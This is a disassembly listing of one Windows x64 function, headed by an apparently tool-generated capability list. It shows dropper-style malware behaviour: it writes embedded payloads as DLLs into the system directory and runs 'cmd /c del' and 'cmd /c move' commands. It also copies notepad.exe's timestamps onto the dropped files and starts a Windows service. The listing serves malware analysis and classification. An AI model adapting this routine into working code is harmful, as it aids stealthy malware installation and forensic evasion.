Function at 0x14000a190
Capabilities:
Check os version
Create process on windows
Delete file
Get common file path
Self delete
Start service
Timestomp file
Write and execute a file
Write file on windows

Disassembly:
push rbp
lea rbp, [rsp - 0x680]
sub rsp, 0x780
mov rax, qword [0x140010050]
xor rax, rsp
mov qword [rbp + 0x660], rax
lea rcx, [rbp]
mov dword [rbp], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [rbp + 4], 6
jne 0x14000a1e4
mov eax, dword [rbp + 8]
cmp eax, 1
je 0x14000a1d6
cmp eax, 2
jne 0x14000a1e4
call fcn.1400096d0
test eax, eax
jne 0x14000a1e4
call fcn.140009ec0
mov qword [rsp + 0x790], rbx
mov qword [rsp + 0x798], rsi
mov qword [rsp + 0x7a0], rdi
mov qword [rsp + 0x7a8], r12
mov qword [rsp + 0x778], r13
mov qword [rsp + 0x770], r14
call fcn.1400096d0
test eax, eax
je 0x14000a988
xor eax, eax
lea rcx, [rbp - 0x70]
xor edx, edx
lea r8d, [rax + 0x68]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
call fcn.140005970
lea rcx, [rbp + 0x120]
xor r13d, r13d
xor edx, edx
mov r8d, 0x104
mov dword [rbp - 0x70], 0x68
mov dword [rbp - 0x34], 1
mov word [rbp - 0x30], r13w
call fcn.140005970
mov rax, qword [str.cmd__c_del__]
lea rcx, [rbp + 0x230]
mov qword [rbp + 0x120], rax
mov eax, dword [0x14000d798]
mov edx, 0x104
mov dword [rbp + 0x128], eax
movzx eax, byte [0x14000d79c]
mov byte [rbp + 0x12c], al
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x120]
lea rdx, [rbp + 0x230]
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000a2c0
lea r8, [0x14000d7a0]
lea rcx, [rbp + 0x230]
mov edx, 0x104
call fcn.140001290
xor eax, eax
or rcx, 0xffffffffffffffff
movaps xmm0, xmmword [str.c:windows_system32_notepad.exe]
movaps xmm1, xmmword [0x14000d7f0]
lea rdi, [rbp + 0x120]
repne scasb al, byte [rdi]
mov rax, qword [str.plastic1.dll]
or rcx, 0xffffffffffffffff
movaps xmmword [rbp + 0x450], xmm0
movaps xmm0, xmmword [0x14000d800]
movaps xmmword [rbp + 0x460], xmm1
movaps xmm1, xmmword [0x14000d810]
movaps xmmword [rbp + 0x470], xmm0
mov qword [rdi - 1], rax
mov eax, dword [0x14000d7b8]
xor edx, edx
movaps xmmword [rbp + 0x480], xmm1
mov dword [rdi + 7], eax
movzx eax, word [0x14000d7bc]
mov r8d, 0x1c8
mov word [rdi + 0xb], ax
xor eax, eax
lea rdi, [rbp + 0x120]
repne scasb al, byte [rdi]
movzx eax, word [0x14000d7c0]
lea rcx, [rbp + 0x490]
mov word [rdi - 1], ax
call fcn.140005970
lea rcx, [rbp + 0x340]
xor edx, edx
mov r8d, 0x104
call fcn.140005970
mov rdx, r13
movzx eax, byte [rbp + rdx + 0x230]
inc rdx
mov byte [rbp + rdx + 0x33f], al
test al, al
jne 0x14000a392
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x340]
repne scasb al, byte [rdi]
movzx eax, word [0x14000d7c4]
lea rcx, [rbp + 0x340]
mov word [rdi - 1], ax
movzx eax, byte [0x14000d7c6]
mov byte [rdi + 1], al
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor r9d, r9d
mov qword [rsp + 0x30], r13
lea rcx, [rbp + 0x230]
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x14000a429
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x230]
call fcn.140001260
lea rax, [rsp + 0x70]
lea rcx, [rbp - 0x70]
lea rdx, [rbp + 0x120]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14000a473
mov eax, 1
jmp 0x14000a98a
mov rcx, qword [rsp + 0x70]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x30], r13
lea rcx, [rbp + 0x230]
lea r8d, [r9 + 3]
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x14000a988
lea r14, [0x14002ebd0]
xor edx, edx
mov r8d, 0x35400
mov rcx, r14
call fcn.140005970
mov ecx, 0x18
call fcn.14000188c
mov ecx, 0x18
mov rsi, rax
call fcn.14000188c
mov dword [rsi + 0x10], 0x73b0
mov rbx, rax
lea rax, [0x140011320]
mov rcx, rsi
mov qword [rsi + 8], rax
mov qword [rsi], rax
mov rdx, rbx
mov qword [rbx], r14
mov qword [rbx + 8], r14
call fcn.140009020
mov edi, dword [rbx + 0x10]
mov rcx, rsi
call fcn.140001454
mov rcx, rbx
call fcn.140001454
lea r9, [rsp + 0x58]
mov r8d, edi
mov rdx, r14
mov rcx, r12
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor r9d, r9d
mov qword [rsp + 0x30], r13
lea rcx, [rbp + 0x450]
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000a5ce
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x14000a5c5
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x60]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x14000a5ce
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x120]
xor edx, edx
mov r8d, 0x104
call fcn.140005970
mov rax, qword [str.cmd__c_move__]
lea rcx, [rbp + 0x230]
mov qword [rbp + 0x120], rax
mov eax, dword [0x14000d828]
xor edx, edx
mov dword [rbp + 0x128], eax
movzx eax, word [0x14000d82c]
mov r8d, 0x104
mov word [rbp + 0x12c], ax
call fcn.140005970
lea rcx, [rbp + 0x230]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x120]
lea rdx, [rbp + 0x230]
repne scasb al, byte [rdi]
xor ecx, ecx
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000a651
lea r8, [0x14000d830]
lea rcx, [rbp + 0x230]
mov edx, 0x104
call fcn.140001290
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x120]
xor edx, edx
mov r8d, 0x104
repne scasb al, byte [rdi]
mov rax, qword [str.hwofe3t.dll]
lea rcx, [rbp + 0x340]
mov qword [rdi - 1], rax
mov eax, dword [0x14000d848]
mov dword [rdi + 7], eax
movzx eax, byte [0x14000d84c]
mov byte [rdi + 0xb], al
call fcn.140005970
mov rdx, r13
nop dword [rax]
movzx eax, byte [rbp + rdx + 0x230]
inc rdx
mov byte [rbp + rdx + 0x33f], al
test al, al
jne 0x14000a6c0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x340]
repne scasb al, byte [rdi]
movzx eax, word [0x14000d850]
lea rcx, [rbp + 0x340]
mov word [rdi - 1], ax
movzx eax, byte [0x14000d852]
mov byte [rdi + 1], al
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
or rcx, 0xffffffffffffffff
xor r9d, r9d
mov qword [rsp + 0x30], r13
lea rdi, [rbp + 0x120]
lea r8d, [r9 + 1]
mov edx, 0x80000000
repne scasb al, byte [rdi]
movzx eax, word [0x14000d854]
lea rcx, [rbp + 0x230]
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov word [rdi - 1], ax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x14000a771
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x230]
call fcn.140001260
lea rax, [rsp + 0x70]
lea rdx, [rbp + 0x120]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000a469
mov rcx, qword [rsp + 0x70]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x30], r13
lea rcx, [rbp + 0x230]
lea r8d, [r9 + 3]
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x14000a469
xor edx, edx
mov r8d, 0x35400
mov rcx, r14
call fcn.140005970
mov ecx, 0x18
call fcn.14000188c
mov ecx, 0x18
mov rsi, rax
call fcn.14000188c
mov dword [rsi + 0x10], 0x1541d
mov rbx, rax
lea rax, [0x1400186d0]
mov rcx, rsi
mov qword [rsi + 8], rax
mov qword [rsi], rax
mov rdx, rbx
mov qword [rbx], r14
mov qword [rbx + 8], r14
call fcn.140009020
mov edi, dword [rbx + 0x10]
mov rcx, rsi
call fcn.140001454
mov rcx, rbx
call fcn.140001454
lea r9, [rsp + 0x58]
mov r8d, edi
mov rdx, r14
mov rcx, r12
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor r9d, r9d
mov qword [rsp + 0x30], r13
lea rcx, [rbp + 0x450]
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000a909
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x14000a900
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x60]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x14000a909
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
test rax, rax
je 0x14000a988
mov rcx, rax
call fcn.140009780
test eax, eax
je 0x14000a988
mov ecx, 0x85c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
test rax, rax
je 0x14000a988
lea rdx, [0x14000d7c8]
mov r8d, 0xf003f
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
je 0x14000a988
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov r14, qword [rsp + 0x770]
mov r13, qword [rsp + 0x778]
mov r12, qword [rsp + 0x7a8]
mov rdi, qword [rsp + 0x7a0]
mov rsi, qword [rsp + 0x798]
mov rbx, qword [rsp + 0x790]
mov rcx, qword [rbp + 0x660]
xor rcx, rsp
call fcn.140001010
add rsp, 0x780
pop rbp
ret